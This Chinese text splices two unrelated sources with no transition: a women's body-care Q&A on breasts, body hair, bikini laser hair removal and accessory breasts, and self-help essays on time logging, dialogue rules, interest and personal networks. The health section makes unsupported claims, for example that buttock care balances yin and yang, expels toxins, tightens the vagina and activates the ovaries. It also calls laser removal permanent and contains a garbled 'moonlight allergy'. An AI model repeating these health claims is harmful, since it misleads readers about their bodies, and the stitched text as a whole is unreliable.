　　美不是胸部保养的唯一目的，按摩也不是让乳房坚挺的唯一方法，让乳房既美又健康才是我们最终要达到的目标。

　　有两个特别好的动作可以经常做：长时间持续的扩胸运动是第一个既简单易行又很有效的保养方法。两臂或两肘平展，尽力向后扩张；然后两臂上举，掌心向前，用力向后运动。胸部在不断扩张中能促进血液循环。久坐的人，经常做这个动作能迅速舒展胸腔，让身体充满新活力。第二个动作是将双手并拢靠在一起，将手肘尽量往上抬高，双手间不留空隙，重复 10～15 次，这个动作能强化胸部肌肉。

　　虽然乳房组织并无肌肉，不能通过锻炼使之增大，但锻炼可增强乳房下面的胸肌，只有有了发达结实的胸部肌肉，乳房才有隆起的空间。为加强胸部肌肉的锻炼，就要坚持做一些有强度的运动项目，比如俯卧撑、单杠引体向上、双杠的双臂曲伸等。游泳对年轻女性来说更是理想的丰胸运动，因为水对胸廓的压力不仅能使呼吸肌得到锻炼，胸肌也会格外发达，而且游泳还有利于腹肌、腰肌的锻炼。不过，人到中年以后，如果你还想保持一副单薄的身板、不希望自己太厚实的话，就尽量不要长时间游泳。

Q116. 不同年龄段应该如何对乳房进行不同的护理？

　　女人的一生大多要经历发育、生育、更年期等从成长到衰退的生理变化，而乳房是这个过程最直接的反映者。因此在女性不同的人生阶段，乳房会有不同的状态，对它们的保健护理就要分别对待。

青春期的乳房护理

　　这一时期正是乳房的发育阶段，保健以能够给予其发育空间为主。

　　不要刻意束胸。大多数女孩子在 16 岁时进入乳房定型期，这时候就应该选戴合适的文胸。文胸不能过紧、过窄，否则容易引起发育过程中不良习惯导致的乳头回缩等不良反应；要随时注意乳房的发育情况，及时更换合适的型号。

　　更要避免外力（特别是较重的外力）碰撞和挤压乳房，以防乳房及其周围组织受伤。

成人后的乳房护理

　　塑造良好胸型是这个阶段养护的重点。

　　大多数未婚女性每次月经前后都会出现乳房胀痛或乳头胀痒疼痛的症状，乳房在这个时候不仅敏感，而且也在迅速成长。这一阶段要花些时间做针对胸部的运动项目，比如俯卧撑，可以练就结实的胸肌；也应该坚持做正确的胸部按摩，缓解胸部不适的同时塑造美丽的胸型，让其高耸而坚挺。这个阶段是女性乳房发育的最后阶段，这个阶段结束后，你的罩杯尺码就基本定型了，因此一定不要错过这个最佳的丰胸时机。

　　这时候可以开始穿有固型功能的文胸，比如钢圈文胸和聚拢文胸，以防止乳房在迅速成长中下垂、外扩等。

哺乳期的乳房护理

　　做母亲的过程，不同的女性会有不同的反应，但孕期及产后的哺乳期、恢复期，对所有女性的乳房来说是一场相同的挑战。这期间乳房很容易受损和感染，常见问题有泌乳期腺瘤、纤维腺瘤、脂肪瘤、纤维囊肿变化、乳汁囊肿等。哺乳期结束后，已经增大一倍的乳房也会明显缩小。

　　坚持母乳喂养本身就有保健作用。有的女性在怀孕之前患有乳腺小结、乳头发育不良（如乳头短、乳头伸缩性差等），很多人在坚持较长时间的母乳喂养后得到了改善。

　　这个时期胸部护理的重点转变为防止由于乳房突然变小造成的下垂加重等现象，除了要继续坚持对乳房进行按摩护理外，选戴一个能托住整个乳房的文胸也变得特别重要。还要注意饮食，不要营养过剩，不要乳汁过多剩余，要特别注意乳房卫生，防止发生感染。

　　哺乳期过后，女性就要开始养成每年定期检查乳房的习惯，拍摄乳腺 X 线以筛查乳腺疾病，早发现早治疗。

更年期的乳房保健

　　女性的更年期大部分发生在 45～55 岁之间。这时候卵巢功能退化，乳房开始萎缩，腺体进入平静期。不过，45 岁以后是乳腺癌等乳房疾病的高发期，因此，此阶段对乳房的护理要以疏通保健为重点，并增强防癌意识。

　　更年期的女性，由于体内雌性激素在下降，乳房会发生诸如体积变小、松软下垂等现象。这时，仍然应该坚持每月一次的乳房自我检查以及每年一次的 X 线摄影筛查。如果这个阶段突然出现乳房变大、皮肤低凹、乳头变平或凹陷、乳房皮肤溃烂或变红、乳头流出异样分泌物等现象，就一定要尽快求医，因为这些都可能是乳腺癌的早期症状。

老年期的乳房保健

　　女性在绝经之后就正式进入老年期了，乳房萎缩丧失美感，腺体也进入老年期，此阶段对乳房的保养要以舒适保健为重点。

　　此时不需要选择带钢圈或带超厚海绵垫的文胸，轻薄的模杯式文胸既能托住下垂的乳房又能避免暴露乳房萎缩的情况，更重要的是它不会阻碍乳房经脉，影响腺体正常运行。另外，保持年轻、乐观的心态在此时尤为重要。

Q117. 如何处理多余的体毛？

　　冬天还好，一到夏天，肯定有不少姑娘就要为身上较多的体毛感到烦恼了。

　　令人烦恼的体毛常表现在四肢和腋下，穿露胳膊或露腿的衣服时会显得不美观。也有私处体毛多的现象，不过大多数女性对此并不在意，因为它是极其普遍和正常的现象。

　　造成体毛多的原因多半是女性体内的雄性激素过高。正常的大概只有 40ng/DL，如果高于此，甚至达到男性的水平（600～900ng/DL），就会出现体毛旺盛的情况。

　　如果是由于家族遗传因素造成的天生体毛较多，倒也不用为此担心或在意，这是一种正常的“返祖”现象，由决定体毛基因的常染色体引起，对身体没有伤害。不过，如果是由后天性因素造成的体毛多，比如女性体内雄性激素增高，或雌性激素和雄性激素的比例失调等，就要加以小心，尽快检查一下是什么原因造成的。

　　平时对皮肤和毛发的护理要得当，不要过于频繁地拔毛、脱毛或者用不当手段拔毛、脱毛，否则，反而会引起多毛。

　　如果对此真的特别在意，不把毛脱干净绝不罢休，那要选择秋冬季节，可以避免夏季日晒、出汗多引起的色素沉着等问题。另外可以选择激光脱毛，这种治疗通常需要 3～5 次才能达到持久效果，4～6 个月毛发才可能被完全清除干净不再生长。那么秋冬脱毛，正好在春夏季时能露出光滑的皮肤。

Q118. 什么是“比基尼脱毛术”？

　　如果你正计划要去海边，而且要穿比基尼游泳或晒日光浴，那我建议你在去之前先去正规的整形医院，做一个“比基尼脱毛”的项目。

　　通常我们穿的三角内裤，其前片 V 字形边缘被称为“比基尼线”。有些天生毛发茂盛的女性会有毛发从这条线的边缘露出，让人感觉不雅或尴尬。而“比基尼脱毛术”能够将腹股沟处的毛发剃成小于比基尼线的形状。修剪之后，女性就可以避免毛发外露的尴尬。

　　有人会自己用剃须刀剃或用镊子拔，这些都是不可取的方法。剃不干净不说，再次生长后的毛发还会发硬，严重的还会奇痒难受。

　　想要有相对长久的脱毛效果，要用蜜蜡脱毛术；而如果想要永久脱毛，则一定要做规范的激光脱毛术。激光脱毛的过程不复杂也不痛苦，医生先在脱毛区域涂上冷凝胶，再用激光一点点除毛。激光做两遍，第一遍会感到一点针刺式的疼痛；第二遍因为冷凝胶没有第一遍凉了，灼热感会稍微加深，但都在可以承受的范围之内。二十天后需要到整形医院复查，直至脱毛区域彻底干净。做过激光脱毛术的比基尼区域将永不再长新毛。

　　比基尼脱毛术现在俨然已经成为一门艺术，可以将毛发修出各种不同的形状。比如心形是相对比较传统的形状，还有法式和巴西式等流行款式。

　　法式是将比基尼线周围的毛发剃除干净，只保留中间及后面的毛发。如果你不希望有过于光秃的感觉，那法式是最好的选择。至于前面毛发的形状，窄窄一个长方形是最为经典的，不过你也可以要求剃成任何你喜欢的形状。

　　巴西式是更热门的选择，又分为“百慕大三角形”巴西式和“沙漠岛”巴西式。

　　巴西式与法式相同的是，都会剔除比基尼线周围的毛发；不同的是，巴西式同时也会剔除底下和后面所有的毛发，只保留前面和中间的一块。如果你想要彻底光滑的感觉，那就选择巴西式吧。跟法式一样，你也可以对留下那部分毛发的形状提出自己的要求。

　　“沙漠岛”巴西式是比百慕大三角形更小的三角形，大概在耻骨部位，就像沙漠上的一个小岛，故而得名。三角形是巴西式常见形状，不过也可以是法式的选择。

　　还有一种“好莱坞式”，是将所有毛发完全剃除。

　　不过，不是所有人都适合比基尼激光脱毛，月光过敏患者、局部或全身有炎症、有免疫系统缺陷以及孕妇都属于不宜人群。

　　而具体剃成什么样，要看个人审美。不剃，保留自然状态也没有任何问题。

Q119. 护理臀部有哪些益处？

　　臀部护理是美容护理的项目之一，除了能让人放松身心，还有很强的保养功效。比如：

  1. 可以改善痛经、月经不调等女性问题。同时还能改善肠壁的血液循环。
  2. 能平衡阴阳，改善睡眠质量，从而消除疲乏、头晕、烦躁、潮热等症状，让人精神面貌改观。
  3. 帮助排出盆底、腹部、腹股沟多余的脂肪和毒素。
  4. 臀部护理时，如果医生的手法到位，能修复盆底肌，改善子宫及阴道、韧带的弹性，收紧阴道，启动卵巢功能，刺激腺体分泌等，从而提高女性的性能力，让夫妻更加恩爱。

Q120. 如何收副乳？

　　副乳是指人体除了正常的一对乳房之外出现的多余乳房，一般在腋前或者腋下。有的仅有乳腺，有的仅有乳头，但也有在腋部可见完整的乳体（乳头、乳晕、腺体），且较大。副乳增生时会有胀痛感。

　　不完整性副乳，特别是只有乳头、乳晕而没有腺体组织者，对身体影响不大。完整性副乳就不一样了，因其具有同正常乳房一样的组织构造、生理特性和病理性变化，同样受雌性激素的影响，在月经周期、孕期或哺乳期会肿胀疼痛，甚至在哺乳期间有少量乳汁分泌。此外，正常乳房可能面临的疾病，如炎症、增生、肿瘤等，副乳也有同样风险，而且可能性比正常乳腺更高一些。

　　一般医生建议用手术的方法消除副乳。但有一些没有达到手术程度但会影响胸部美观的副乳，很多女性朋友们则希望女性内衣能够给予调整和缓解。

　　聚拢型文胸或胸衣，对于收两边的副乳有一定效果。通常，这种文胸是全罩杯的，包容性好；四排背钩；侧比也比一般文胸高，用鱼骨片支撑，可以把副乳完全塞入罩杯里，让胸部看起来更加美观。

把时间当作朋友

记录时间

　　可是，有着这种习惯的我，在读过《奇特的一生》之后，却被柳比歇夫的大师境界吓了一跳。过了差不多两年，重新读它的时候，我惊讶地感叹：“啊？我太笨了！这些我早应该明白的啊！”

　　柳比歇夫的日志，是“事件-时间日志(11)”。他的方法要比李敖的方法更高级。李敖的事件日志，往往只能记录事件的名称，是一种基于结果的记录；而柳比歇夫的事件——时间日志是一种基于过程的记录。它们的细微差别在于，基于过程的记录要比基于结果的记录更为详尽。

　　权摘抄《奇特的一生》中柳比歇夫的日志为例。

　　乌里扬诺夫斯克。一九六四年四月七日。分类昆虫学（画两张无名袋蛾的图）——三小时十五分。鉴定袋蛾——二十分（1.0）。

　　附加工作：给斯拉瓦写信——二小时四十五分（0.5）。

　　社会工作：植物保护小组开会——二小时二十五分。

　　休息：给伊戈尔写信——十分；《乌里扬诺夫斯克真理报》——十分；列夫·托尔斯泰的《塞瓦斯托波尔纪事》——一小时二十五分。

　　───

　　基本工作合计——六小时二十分。

　　乌里扬诺夫斯克。一九六四年四月八日。分类昆虫学：鉴定袋蛾，结束——二小时二十分。开始写关于袋蛾的报告——一小时五分（1.0）。

　　附加工作：给达维陀娃和布里亚赫尔写信，六页——三小时二十分（0.5）。

　　路途往返——（0.5）。

　　休息——剃胡子。《乌里扬诺夫斯克真理报》——十五分，《消息报》——十分，《文学报》——二十分；阿·托尔斯泰的《吸血鬼》，六十六页——一小时三十分。听里姆斯基——柯萨科夫的《沙皇的未婚妻》。

　　───

　　基本工作合计——六小时四十五分。

　　基于过程的记录，不仅更详尽，还有另外一个巨大的好处——结果不好的时候更容易找到缘由。想明白“基于过程的”与“基于结果的”两种记录之间的区别之后，我开始尝试着在自己记录的每个事件后面加上时间。

　　实践了不到两个星期，我就体会到这种新的记录方法的另一个巨大好处：它会使你对时间的感觉越来越精确。前文讲过，每个人都会感觉“时间越来越快”，以及为什么每个人都会有这样的感觉，而这样的感觉会使我们产生很多不必要的焦虑。焦虑本身没有任何好处，只能带来负面影响。通过实践，我发觉这种基于过程的事件——时间日志记录可以调整我对时间的感觉，在估算任何任务的工作量的时候，都更容易确定“真正现实可行的目标”。此外，相对准确的估算又使得目标基本上都可以达成，由此可以算是“战胜了焦虑”。

　　详细的记录令我获益匪浅。事实上，每个人都多少明白记录的重要性，可做记录的人并不多。举例来说，大部分人听说过“你不理财，财不理你”，可是意识到应该记录账目、管理金钱开销后，仍然只有少数人做得到。这是为什么呢？发生这种现象最明显的原因是，记账并不轻松——不仅要在花销的当时记录下来，还要时常整理、分析，这使得许多人觉得记账麻烦，继而放弃。面对实实在在的钱款尚且如此，面对难以触碰的时间就更是随意了。

对话与沟通

原则

　　参见瓦茨拉夫·哈维尔制定的《对话守则》：

　　1．对话的目的是寻求真理，不是为了斗争。

　　2．不做人身攻击。

　　3．保持主题。

　　4．辩论时要用证据。

　　5．不要坚持错误不改。

　　6．要分清对话与只准自己讲话的区别。

　　7．对话要有记录。

　　8．尽量理解对方。

其他

　　对很多人来说，“知无不言，言无不尽(1)”在大部分情况下是最浪费时间和精力的做法(2)。其实，苏洵(3)在说这句话的时候，并非到此为止，而是有下文的：“知无不言，言无不尽，百人誉之不加密，百人毁之不加疏。”当一个人不被认为是“能说那话的人”时，一般不大可能“百人誉之”，不是“百人毁之”就很好了。不被理解、不被合理评估对任何人来说都必然会带来巨大的烦恼和痛苦。情绪的波动必然会干扰理智，进而影响表现——无论是学习上、工作上，还是生活上。《论语》(4)里有一句话：“可与言而不与言，失人。不可与言而与之言，失言。(5)”这是说要分辨谈话的对象。可事实上，在分辨谈话对象之前很可能要先分辨自己，所以，“可言而不言，失人，不可言而言，失言”。

　　双方想要进行有意义的讨论，最基本的要求就是双方必须共同遵守“理性讨论基本原则(9)”。例如：没有确凿证据之前不能随意作出判断；有了确凿的证据，就算结论令人难以接受也必须接受；错了就要承认并进行改正；对了也好，错了也罢，不许向对方进行人身攻击，对事不对人；谁有道理就听谁的；如果双方都有一定的道理，那就要看谁的理由更站得住脚，谁的结论更实际；如果双方的提案都不好，那么只好“两害相权取其轻”……

　　日常生活中，我们很少看到有意义的讨论。大多数人由于种种原因并不重视“共同遵守理性讨论基本原则”，动不动就忽视、放弃、违背这些原则。有多少次，我们会听到这样的话：“本来就是这样的！”“就算道理是那样，我也无法接受！”“滚！”“放屁！”“傻屄！”“你自己看着办吧！”“行行行，就你最聪明！”“我不管了！”……

　　我很小的时候并不知道，某个基本原则被忽视、被放弃、被违背时都是有明显信号的，就好像上面罗列的那样。等我有能力把这些原则想清楚并分类之后，我还在相当长的一段时间内天真地以为自己可以向那些忽视、放弃、违背基本原则的人清楚解释我们的现状，再把讨论拉回正轨——当然，许多年的挣扎被证明为徒劳。

　　如果我们作为讨论的一方，发现对方已经不再“遵守理性讨论基本原则”，那么就马上停止讨论吧，因为我们已经失去了讨论的对象。就算对方不依不饶，我们也应该回避、回避、再回避，因为接下来的任何过程都已经不再是“讨论”，而更可能是仅仅为争而争的“争论”了。这种争论的害处很多：浪费时间，影响情绪，把对方变成敌人，失去更多朋友……

　　如果我们作为讨论的一方，突然意识到自己竟然已经不再“遵守理性讨论基本原则”，那么就马上停止讨论吧，因为我们也已经不再是“讨论者”，而更可能只不过是一个为争而争的“争辩者”罢了。这并不说明我们傻，也不说明我们笨，只说明我们的提升余地还很大。每个人最终拥有的能力都是依靠积累获得的。积累是一个过程，不是结果。想明白这件事，就很容易做到心平气和(10)，不至于像挨了打却又无能为力的孩子一样生自己的闷气然后开始仇视社会。这样的结果能说明的是对方确实更强大（至少在目前这个特定的方面），但想明白了就知道，这也没有什么，因为他的强大同样是并且只能是依靠积累获得的——没什么可不服气的，回去继续修炼就好。

话题

兴趣

　　经常有学生向我表示他对目前的专业没兴趣——他真正感兴趣的是某某专业。看得出来，这些人常常不快乐，因为他们（觉得）正在做自己不喜欢做的事情。

　　然而，事实果真这样吗？不客气地说，在 99％的情况下，并非如此。

　　首先，这些人其实并不是对自己正在做的事情没有兴趣，而是没有能力把目前正在做的事情做好。几乎没有人会喜欢做自己做不好的事情，每个人都会不自觉地尽量回避自己的短处：跑调的人通常不大喜欢与朋友一块去唱歌；牌技差的人往往不情愿被叫去补缺；不擅交往的人通常开会的时候选择坐在角落……当然，有少数人例外，这只是因为他们并不自知：跑调的居然是麦霸；牌技很差的总是组织牌局又无牌品；不擅交往的又爱出风头招人厌烦。但不管整体怎样，对一个人来说，一定要问自己这个问题：我不喜欢做某件事情，是不是仅仅因为这件事我没有做好？若是因为自己没有做好而不喜欢，就要考虑另一个问题：做好这件事情究竟对我有没有意义？如果有，那就努力做，直到做好为止，没有其他选择。反过来，自己做得挺好，但就是不喜欢，纯粹因为那件事对自己确实没有什么吸引力——事实上这种情况少之又少——直接换一件事情做吧。谁能逼你去做一件你确实不喜欢做的事情呢？退一步说，如果你被逼着去做自己能做好的事情，应该也会有些兴趣的。

　　其次，人们总说他们真正感兴趣的是其他事情。可事实上，出现这种感觉应该仅仅是因为还没有开始做那件事情，也还没有在那件事情上遭受挫折而已。其实，很多人真的放弃原来做的事情，转去做新的“真正感兴趣的”事情的时候，往往会发现，想要做好这件事情同样困难重重，挫折不断。没过多久，这些人又会因为做不好这件事情而对其失去兴趣，然后开始幻想做另外的事情，并且将这一行为“合理化”：“我（才知道自己）真正感兴趣的并不是这个……(1)”

　　综上所述，我觉得，兴趣并不是很重要，至少没有我们想象得那么重要。对一个人来说，某件事情只要能做好，并且做到比大多数人好，他就不会对那件事情没兴趣。我有时候会看到，某些父母打着“培养孩子兴趣”的旗号教育孩子，面对这种情况，我能做的只有赶紧闭上眼睛——不愿意看到孩子就这样被“害”。但是，闭上眼睛却看得更清楚，因为我太容易想象出那需要很多年才能最终显现的，且由于早已逝去多年而遗忘了原因的最终结果。培养孩子的兴趣，不是买来一架钢琴或者一本书就可以的。正确的做法是：根据孩子的情况，选出孩子最可能做得比别人好的事情（这很可能已经是极其耗时费力的了），然后绞尽脑汁让孩子学得会、做得好、做得比一般人好、做得比谁都好——兴趣就自然出现了。

　　说来说去，是顺序出了问题：往往不是有兴趣才能做好，而是做好了才有兴趣。

　　人们总是搞错顺序，并对这样的错误毫不知晓。虽然并非绝对，但完成大多数事情，确实都需要熟能生巧。做得多了，自然就能擅长；擅长了，自然就做得比别人好；做得比别人好了，兴趣自然就浓起来了，而后就更喜欢做、更擅长……进入良性循环。可是，做得多，就需要大量的时间投入，所谓“没兴趣”，往往不过是结果，如果将它当作“不去做好”的理由，最终的惩罚就是大量时间白白流逝。

人脉

观点

　　有一次在北大举办讲座的时候，我遇到了一位学生，他问我：“老师，你说是认真学习重要，还是经营人脉重要？”看着他一脸大杂烩的样子，我先拿出本子记下了这个问题，然后对他说，这是一个比较大的话题，我会仔细写篇文章放在网上的，跟着给了他我的网志地址。最后，我又补了一句：“相信我，所谓的人脉就算重要，也根本没他们说的那么重要。”

　　到书店里看看吧！在某个专柜或者专区里，有多少书的书名中有“人脉”二字？太多了。《人脉：关键性关系的力量》、《人脉圈：人脉决定输赢，人脉决定命运》、《人脉是设计出来的》、《赢在人脉》、《打造黄金人脉》、《90 秒建立职场人脉》……书名中有“人际关系”的就更多了。我写这段话的时候，在“当当网”上搜索“人脉”，可以找到 521 个结果，搜索“人际关系”，可以找到 4949 个结果，而搜索“成功”，可以找到 53879 个结果……

　　可这些书中有比例不小的一部分都充斥着逻辑混乱的论证和推理，这些随处可见的胡说八道基本上没有什么区别，反正都是胡说。以下从某本书里摘录的文字还不算是最过分的：

　　中国，最奇妙的现实问题是讲“面子”，这种典型的例子不但在政治界经常可以看到，在商业界更是多见。比如说，你想把商品推销给客户时，另外一家公司也在作同样的竞争，估计胜负情势是四比六，对我方不利，在这种情况下，如果你有一位支持者，而其“面子”能够通达客户的高层，那么只需凭此人的一句话就可转败为胜了。我们再举个例子，假如你想向公司提出一个方案，而意见是不是能够被采纳，就要看公司里有多少人愿意帮你的忙，愿意支持你，即可大致估算出结果。这就是人类社会的现实面。如此看来，“由支持者的多寡可以判定其是否为能干的生意人”的说法并不为过。事实上，被称为“办事高手”或是“能干”的人都具备一个条件，就是在公司内外有许多人事“通道”，也就是说，他的人脉很广，“面子”很大。

　　而在一小段文字里面可以做到谬误连连，其实也不是很容易。

　　……如果你有一位支持者，而其“面子”能够通达客户的高层，那么只需凭此人的一句话就可转败为胜了。

　　除了“腐败”之外，在正常的世界里，这种情况可能发生吗？

　　……假如你想向公司提出一个方案，而意见是不是能够被采纳，就要看公司里有多少人愿意帮你的忙，愿意支持你，即可大致估算出结果。

　　“意见是否会被采纳”，在正常的世界里，关注点应该是那个意见本身的道理吧！如果那个意见考虑得非常周全、有明显的好处，会有那么多人反对吗？

　　用“面子”就可以获得一切，想得美！

　　让我们从头细说。

　　先动脑思考一下：我们愿意与什么样的人成为朋友？从幼儿园开始，每个人就都已经有了一些选择朋友的原则——尽管并不自知。事实上，资源分布的不均匀，必然造成人与人之间的某种依附关系。观察一下就可以发现：幼儿园里玩具多的孩子更容易被其他孩子当作朋友。那么，玩具最多的孩子朋友最多吗？答案并非肯定。

　　我曾经有机会、也恰好愿意多花一点心思与我遇到的那个“玩具最多的孩子”交谈。没过多久我就发现，在他的心目中，与所有成年人一样，“朋友”被划分为“真正的朋友”和“一般的朋友”。

　　为了行文方便，以下我姑且把那个玩具最多的孩子叫做“小强”。

　　我发出询问后很好奇，但也耐住性子等待小强告诉我谁是他“真正的朋友”。最终，他告诉我，他真正的朋友只有两个，一个是男孩，一个是女孩。之后我问他：“为什么你认为那个男孩是你真正的朋友？”小强一秒钟都没犹豫：“他从来都不抢我的玩具，他跟我换。”我又问他：“那，为什么你认为那个女孩是你真正的朋友？”这次小强踌躇了好一阵子，在确定我会给他保密之后，磕磕巴巴地说：“她好看……我把新玩具全都先给她……”我笑了。过了一会儿，我问：“她觉得你好看吗？”小强愣了一下，满眼的无辜：“不知道……”我又问：“那她现在手里的玩具是谁的？”小强突然显得很紧张：“不是我的。”我决定不去问那女孩问题了。

　　基于种种原因，生活中广受欢迎的人总是少数。但同样基于种种原因，大多数人并不知道那些少数派们是如何理解他们的行为的，从小强的这个事例里就可见一斑。刚才小强说他那个“真正的朋友”从来都不“抢”他的玩具，而是跟他“换”。注意这两个词。

　　我们暂且不讨论所谓的“心计”。确实，有些人有很深的城府，他们可以用常人想不出来的，或者常人就算想得出来也做不到的手段，达到自己的目的。在这里，我们只讨论最普遍的情况。

　　所有的人都喜欢并重视甚至偏爱一种交换——公平交换。小强也许没有意识到，他所拥有的玩具数量使他从概率的角度出发很难遇到可以和他“公平交换”的人，因为绝大多数孩子没有多少玩具，甚至干脆没有玩具，这些孩子实际上没有机会也没有能力与他进行“公平交换”。对他来讲，不公平的交换，等同于“抢”，没有人喜欢“被抢”。而与他换玩具的那个男孩，让小强感受到公平。小强也有自己想要但手里没有的玩具，所以，他也愿意去“换”，而不会去“抢”，因为他自己就不喜欢“被抢”——然后，把最新的玩具都给那女孩先玩……

　　尽管绝大多数人不愿意承认，但他们的所谓“友谊”实际上只不过是某种意义上的“交换关系”。可如果某人自己拥有的资源不够多、不够好，那么他就更可能变成“索取方”，做不到“公平交换”，最终成为其他人的负担。这个时候，所谓的“友谊”也就慢慢无疾而终。当然也有持续下去的情况，但与其说这是由于另外一方珍视友谊，还不如说这是另外一方在耐心等待下一次交换，以实现“公平”。电影《教父》(1)里就有这样的桥段：棺材铺的老板亚美利哥·勃纳瑟拉(2)决心找教父柯里昂(3)替他出气并为自己的女儿讨回公道的时候，亚美利哥就是“索取方”。许多年后，教父柯里昂终于在一个深夜敲开了亚美利哥的门……

　　可以想见，资源多的人更喜欢也更可能与另外一个资源数量或者质量对等的人进行交换，因为在这种情况下“公平交易”更容易产生。生活里随处可见这样的例子，哪怕是在校园这个“交换”本质体现得不是那么明显的地方，同样性质的行为也并不鲜见。例如，某系公认的才子与其他系公认的另一个才子会“机缘巧合”地邂逅并成为“死党”，俗话说的“英雄所见略同”可能就是他们一见如故的原因。如此，他们之间的谈话及任何其他活动，往往都会让他们觉得非常“投机”。仅举一例。

　　在 1982 年第一届全国中学生计算机竞赛上，沈南鹏(4)和梁建章(5)这两个“数学神童”同时获奖。当他们第一次相识时，这两个懵懂少年绝不会意识到，17 年后他们会联手创造中国互联网产业的一个奇迹。

　　不是因为他们要好才各自变得优秀，而是因为他们都很优秀才会非常要好，进而碰撞出绚丽的火花。

　　反过来说，这些公认为优秀的人，往往并不“低调”，也不“平易近人”。他们不是故意这样做的。他们无意去惹恼身边那些在他们看来“平庸”的人，只不过他们无形中有这样的体会：与这些人交流，沟通成本太高。这些人当中不多见的那些心态平和者，一般都是经历了波折，才终于意识到自己应该保护自己。他们发现，有些误解根本没机会解释。于是，他们开始“谦虚”，他们学会“低调”，他们显得“平易近人”。

　　许多年前我就注意到一个现象：我会在别人求助于我，而我内心其实非常抵触的时候，因为怕别人说我是“不够意思的人”，硬着头皮去做自己不想做的事情。我在一次深感受伤的时候有了一个闪念：原来这种尴尬并非来自我没有“乐于助人”的品性，其原因是我的精力并不足够旺盛，无法在将自己的事情处理得井井有条的同时，拿出大把的时间和精力帮别人做事——事实上，我自己根本已经是个正在“过河”的“泥菩萨”了。想多了之后，我甚至开始怀疑雷锋的领导是否太白痴，因为他没有给自己的下属分配足够的工作——这是那天晚上于我来讲非常惊喜的一件事——我发现我正在独立思考。

　　承认自己能力有限，是保持心理健康的前提。从我重新思考“雷锋的领导”那天开始，我就主动挣扎着去学习如何做事量力而行了。说起来好笑，我自己的智商实在是有限，有限到过去竟然没想过“量力而行”是如此高难度的行为模式：第一，承认自己能力有限；第二，不怕在别人面前露怯；第三，敢于不去证明自己是“好人”……

　　从这个层面上讲，的确往往只有优秀的人，才会拥有有效的人脉。而且，正因为这些人随时随地都可能要回避“不公平交换”的企图，他们会更加注重自身的质量，知道“不给他人制造麻烦”、“独善其身”是美德，这也体现了常言说的“事多故人离”。而那些不优秀的人，往往并不知道这样貌似简单的道理，他们甚至没有意识到，他们的状况使他们只能扮演“索取者”的角色，进而把每一次“交换”都变成“不公平交换”，发展到最后，极有可能导致交换落空，因为谁都不喜欢“不公平交换”。他们每次落空的交换都会进一步给自己造成损失，使他们拥有的资源不是数量减少，就是质量下降，继而使他们沦为“索取者”的可能性变得更高——恶性循环。

　　还有一些人，过分急于建立所谓的人脉，甚至全然不顾自己的实际情况。人们常用一些专门的词来描述这样的人，例如“谄媚”、“巴结”、“欺下媚上”甚至“结党营私”等。这样的人，往往也不是他们自己故意非要如此不可，他们只是朦胧地意识到，一个人的力量过于渺小，所以才希望借助其他力量。而一个人的能力越是渺小，他的欲望就会显得越发强烈。这些人的特征非常明显，其中之一是：他们会在生活中经常有意无意地用亲密的方式提及大家仰望的人物，无论他们与这些“大人物”是否真的存在私交密往。在中文语境里，他们就会只说名字而不说姓氏：李开复(6)不叫“李开复”，在他们嘴里是“开复”；李彦宏(7)不叫“李彦宏”，在他们嘴里是“彦宏”；沈南鹏不叫“沈南鹏”，在他们嘴里是“南鹏”；最近我听到更恐怖、更令人毛骨悚然的是——“小俞”（俞敏洪(8)）、“小邓”（邓峰(9)）、“大想”（李想(10)）……

补充

　　从整体上看，人脉当然很重要。不过，针对某个个体来说，比人脉更重要的是他所拥有的资源。有些资源很难靠白手起家获得，例如金钱、地位、名誉。然而，有些资源却可以轻易从零开始积累，例如一个人的才华与学识。才华与学识，是一定可以通过努力获得的。一个人的心智能力一旦正常开启，他就会发现，自己在这个信息唾手可得的世界里，只要正常地努力，并且有耐心和时间做朋友，很容易就能成为至少一个领域的专家。努力并不像传说中的那么辛苦，说出来只不过是——每天至少专心学习、工作 6 小时。可是，努力需要的耐心，却远比多数人想象中来得巨大，“要与时间相伴短则 5 年，长则 20 年”。

　　经过长时间的观察，我又发现了另外一个多年前智商平平的我不是很容易能想明白或者轻易预见的事情：如果一个人的身边都是优秀的人，就往往会出现没有人求他帮忙的景况，因为优秀的人几乎无一例外都以耽误别人的时间为耻，同时，这些人恰恰因为能够独立解决遇到的问题才被其他人认为是优秀者。

　　如果有一天，某个人经过长期的积累，真正成为某个领域的专家，他必会惊喜于真正意义上的、有价值的、所谓“高效”的人脉居然会破门而入。他所遇到的人将来自与以往完全不同的层面和意想不到的方向，而他自己也不再是过去一无是处的“索取者”，他扮演的将是“乐于助人”的角色——很少有人讨厌善意的帮助，更何况这个人是被我们找来提供帮助的。

　　甚至，这些优秀的人会获得意外的帮助。一个优秀而有价值的人，自然会引来其他很多优秀而有价值的人主动为其提供帮助，而这时候的帮助往往是“无私”的。正如没有哪个医生会在救死扶伤之后仅仅因为酬劳太少而恼羞成怒一样，那些品质磨炼到一定程度、境界豁达到一定层次的人，往往真的可以做到“施恩不图报”，因为对他们来讲，能够有机会“验证自己的想法”就已经足够重要、可以令人身心愉悦了。同时，被帮助的一方也正因为并非寻常之辈，所以一定懂得“滴水之恩，涌泉相报”的道理，最终的结果自然是皆大欢喜；又因为“沟通成本几近于零”，整体效果自然是“交流收益相对无穷放大”——良性循环。个中生活智慧在于：集中精力改变那些自己能够改变的事情，暂时忽略那些自己不能改变的事情。专心打造自己，让自己成为一个优秀的人、一个有用的人、一个独立的人，比什么都重要。打造自己，就等于打造自己的人脉——如果人脉真像传说中那么重要的话。其实，我总觉得关于人脉导致成功的传说虚无缥缈，不过是些不明真相的人臆造出的幻象罢了。

　　特别澄清一下，我并不是说我们从此就不用关心身边的任何人了，或者说从此就无须与任何人打交道了。与人交往也是一种需要学习，并且需要耗费大量时间实践的技能。我只想说：别高估自己，误以为自己有足够的时间可以妥善地处理与身边所有人的关系。浏览一下手机通讯簿里的名字吧！有多少人我们已经很久没有联系了？我至今只听两三个人这样回答：“最长时间没联系的，也不超过两个星期。”而这些人中还有一个是特别固执且特殊的人——他的手机通讯簿里总共才有 22 个名字。

　　毕淑敏(11)在小说《女心理师》的自序中曾经提到：

